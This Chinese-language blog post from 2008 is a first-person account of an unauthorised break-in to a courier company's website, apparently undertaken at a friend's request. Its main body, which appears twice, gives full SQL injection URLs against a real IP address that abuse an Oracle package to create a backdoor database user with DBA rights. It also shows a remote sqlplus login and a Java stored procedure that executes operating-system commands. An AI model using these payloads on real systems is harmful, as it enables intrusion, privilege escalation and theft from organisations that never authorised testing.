對著名快遞公司的艱難的oracle入侵過程(圖)
互聯(lián)網(wǎng) 發(fā)布時間:2008-10-08 19:36:06 作者:佚名
我要評論

輕車熟路
一個對新飛鴻有意見的親密朋友找我說能不能把這個公司的網(wǎng)站給搞了,我一聽公司,心想,企業(yè)站都是垃圾,好搞,便痛快答應(yīng)(人品真好!),呵呵,但是后來才發(fā)現(xiàn)沒我想像的那么簡單。
asp的頁面,啊d和google掃注入點沒有,意料之中,工具誤
結(jié)果如圖
繼續(xù)提交
select member from v$logfile where rownum=1
獲得操作系統(tǒng)版本,如圖
確定是windows,下面查看服務(wù)器sid,提交select instance_name from v$instance,如圖
待會遠(yuǎn)程連接要用的,下面確定下主機(jī)ip,telnet 漏洞頁上顯示的ip地址的1521端口,為oracle的端口, ,成功,1521開放,下面就本地架設(shè)個oracle客戶端,利用oracle的那些默認(rèn)帳號密碼登錄,嘗試n次均失敗告終,管理員安全意思不錯,表揚(yáng)下!^.^
下面就利用oracle的內(nèi)置函數(shù)SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES過濾不嚴(yán)的漏洞,至于這個函數(shù)的具體漏洞形成的原因,這里就不占篇幅了,想知道的可以去我博客,對oracle不熟悉的可以跳過這一部分,繼續(xù)構(gòu)造提交:
http://211.154.103.15/server2.asp?wen=四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER REBEYOND IDENTIFIED BY REBEYOND'''';END;'';END;--','SYS',0,'1',0)=''--;
這里講解下,and后面把函數(shù)求邏輯或然后與空比較,這樣系統(tǒng)會先求函數(shù)值,便會執(zhí)行我們構(gòu)造在函數(shù)里的語句,這樣就往數(shù)據(jù)庫加了個用戶名為rebeyond密碼為rebeyond的用戶,然后執(zhí)行
http://211.154.103.15/server2.asp?wen=四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant sysdba to rebeyond'''';END;'';END;--','SYS',0,'1',0)=''--
便把我們建的用戶加為dba權(quán)限,下面賦予用戶遠(yuǎn)程連接權(quán)限,提交
http://211.154.103.15/server2.asp?wen=四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''GRANT CONNECT TO rebeyond'''';END;'';END;--','SYS',0,'1',0)=''--
,好了,下面遠(yuǎn)程連接!
● 峰回路轉(zhuǎn)
本以為建了dba權(quán)限的用戶,遠(yuǎn)程連接繼續(xù)拿權(quán)限就完了,但是當(dāng)我以dba身份登錄時卻出現(xiàn)這個,如圖:
百度了下才知道是服務(wù)器那邊配置的問題,由于是服務(wù)器端的問題,一時不好解決,就暫時先用normal方式登錄,連接成功,進(jìn)去去權(quán)限設(shè)置那把權(quán)限能勾的都勾上,如圖:
因為我們畢竟是dba權(quán)限的,雖然沒以dba方式登錄,但是除了開關(guān)數(shù)據(jù)庫,其他權(quán)限還是都有的,然后就是想辦法提權(quán)拿服務(wù)器,雖然oracle不支持xp_cmdshell直接執(zhí)行系統(tǒng)命令,但是對pl\sql的支持是非常另人激動的,因為可以通過建立java存儲過程來執(zhí)行命令,注意這時建完shell后要對數(shù)據(jù)庫用戶賦予對磁盤文件操作的權(quán)限(在sqlplus里執(zhí)行):
call dbms_java.grant_permission('REBEYOND','java.io.FilePermission','c:/a.txt','read,write');
。cmd打開sqlplus(和oracle客戶端一起安裝的),輸入sqlplus /nolog,然后輸入
connect [email=rebeyond/rebeyond@(description=(address_list=(address=(protocol=tcp)(host=211.154.103.15)(port=1521)))(connect_data=(SERVICE_NAME=ORCL]rebeyond/rebeyond@(description=(address_list=(address=(protocol=tcp)(host=211.154.103.15)(port=1521)))(connect_data=(SERVICE_NAME=ORCL[/email])));
是不是用到了我們前面爆出的服務(wù)器sid呢,hoho,連接成功,下面開始執(zhí)行命令,創(chuàng)建java存儲過程,代碼如下:
java存儲過程:
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}

繼續(xù)提交
select member from v$logfile where rownum=1
獲得操作系統(tǒng)版本,如圖

確定是windows,下面查看服務(wù)器sid,提交select instance_name from v$instance,如圖

待會遠(yuǎn)程連接要用的,下面確定下主機(jī)ip,telnet 漏洞頁上顯示的ip地址的1521端口,為oracle的端口, ,成功,1521開放,下面就本地架設(shè)個oracle客戶端,利用oracle的那些默認(rèn)帳號密碼登錄,嘗試n次均失敗告終,管理員安全意思不錯,表揚(yáng)下!^.^
下面就利用oracle的內(nèi)置函數(shù)SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES過濾不嚴(yán)的漏洞,至于這個函數(shù)的具體漏洞形成的原因,這里就不占篇幅了,想知道的可以去我博客,對oracle不熟悉的可以跳過這一部分,繼續(xù)構(gòu)造提交:
http://211.154.103.15/server2.asp?wen=四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER REBEYOND IDENTIFIED BY REBEYOND'''';END;'';END;--','SYS',0,'1',0)=''--;
這里講解下,and后面把函數(shù)求邏輯或然后與空比較,這樣系統(tǒng)會先求函數(shù)值,便會執(zhí)行我們構(gòu)造在函數(shù)里的語句,這樣就往數(shù)據(jù)庫加了個用戶名為rebeyond密碼為rebeyond的用戶,然后執(zhí)行
http://211.154.103.15/server2.asp?wen=四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant sysdba to rebeyond'''';END;'';END;--','SYS',0,'1',0)=''--
便把我們建的用戶加為dba權(quán)限,下面賦予用戶遠(yuǎn)程連接權(quán)限,提交
http://211.154.103.15/server2.asp?wen=四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''GRANT CONNECT TO rebeyond'''';END;'';END;--','SYS',0,'1',0)=''--
,好了,下面遠(yuǎn)程連接!
● 峰回路轉(zhuǎn)
本以為建了dba權(quán)限的用戶,遠(yuǎn)程連接繼續(xù)拿權(quán)限就完了,但是當(dāng)我以dba身份登錄時卻出現(xiàn)這個,如圖:

百度了下才知道是服務(wù)器那邊配置的問題,由于是服務(wù)器端的問題,一時不好解決,就暫時先用normal方式登錄,連接成功,進(jìn)去去權(quán)限設(shè)置那把權(quán)限能勾的都勾上,如圖:

因為我們畢竟是dba權(quán)限的,雖然沒以dba方式登錄,但是除了開關(guān)數(shù)據(jù)庫,其他權(quán)限還是都有的,然后就是想辦法提權(quán)拿服務(wù)器,雖然oracle不支持xp_cmdshell直接執(zhí)行系統(tǒng)命令,但是對pl\sql的支持是非常另人激動的,因為可以通過建立java存儲過程來執(zhí)行命令,注意這時建完shell后要對數(shù)據(jù)庫用戶賦予對磁盤文件操作的權(quán)限(在sqlplus里執(zhí)行):
call dbms_java.grant_permission('REBEYOND','java.io.FilePermission','c:/a.txt','read,write');
。cmd打開sqlplus(和oracle客戶端一起安裝的),輸入sqlplus /nolog,然后輸入
connect [email=rebeyond/rebeyond@(description=(address_list=(address=(protocol=tcp)(host=211.154.103.15)(port=1521)))(connect_data=(SERVICE_NAME=ORCL]rebeyond/rebeyond@(description=(address_list=(address=(protocol=tcp)(host=211.154.103.15)(port=1521)))(connect_data=(SERVICE_NAME=ORCL[/email])));
是不是用到了我們前面爆出的服務(wù)器sid呢,hoho,連接成功,下面開始執(zhí)行命令,創(chuàng)建java存儲過程,代碼如下:
java存儲過程:
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
相關(guān)文章
什么是CC攻擊 判斷網(wǎng)站是否被CC攻擊并且如何防御CC攻擊
CC主要是用來攻擊頁面的,大家都有這樣的經(jīng)歷,就是在訪問論壇時,如果這個論壇比較大,訪問的人比較多,打開頁面的速度會比較慢,對不?!一般來說,訪問的人越多,論壇的頁2024-01-06Windows系統(tǒng)安全風(fēng)險-本地NTLM重放提權(quán)
入侵者主要通過Potato程序攻擊擁有SYSTEM權(quán)限的端口偽造網(wǎng)絡(luò)身份認(rèn)證過程,利用NTLM重放機(jī)制騙取SYSTEM身份令牌,最終取得系統(tǒng)權(quán)限,該安全風(fēng)險微軟并不認(rèn)為存在漏洞,所以2021-04-15- 這篇文章主要介紹了文件上傳漏洞全面滲透分析小結(jié),這里主要為大家分享一下防御方法,需要的朋友可以參考下2021-03-21
- 這篇文章主要介紹了sql手工注入語句&SQL手工注入大全,需要的朋友可以參考下2017-09-06
- 這篇文章主要介紹了詳解Filezilla server 提權(quán),需要的朋友可以參考下2017-05-13
FileZilla Server 2008 x64 提權(quán)與防御方法
這篇文章主要介紹了FileZilla Server 2008 x64 提權(quán)與防御方法,需要的朋友可以參考下2017-05-13https加密也被破解 HEIST攻擊從加密數(shù)據(jù)獲取明文
不久之前我們說過關(guān)于http和https的區(qū)別,對于加密的https,我們一直認(rèn)為它是相對安全的,可今天要講的是,一種繞過HTTPS加密得到明文信息的web攻擊方式,不知道這消息對你2016-08-10iPhone和Mac也會被黑 一條iMessage密碼可能就被盜了
一直以來蘋果系統(tǒng)的安全性都是比安卓要高的,但是再安全的系統(tǒng)也免不了漏洞,蘋果也一樣。最近爆出的新漏洞,只需要接收一條多媒體信息或者iMessage就會導(dǎo)致用戶信息泄露。2016-07-27- 國家正在修正關(guān)于黑客方面的法律法規(guī),有一條震驚黑客圈的“世紀(jì)佳緣”起訴白帽黑客事件,深深的傷害了廣大黑客們的心,加上扎克伯格和特拉維斯·卡蘭尼克賬號被盜,于是黑2016-07-11
如何逆向破解HawkEye keylogger鍵盤記錄器進(jìn)入攻擊者郵箱
面對惡意郵件攻擊,我們就只能默默忍受被他攻擊,連自我保護(hù)能力都沒有談什么反抗?讓人痛快的是,如今有了解決辦法,逆向破解鍵盤記錄器,進(jìn)入攻擊者郵箱2016-07-06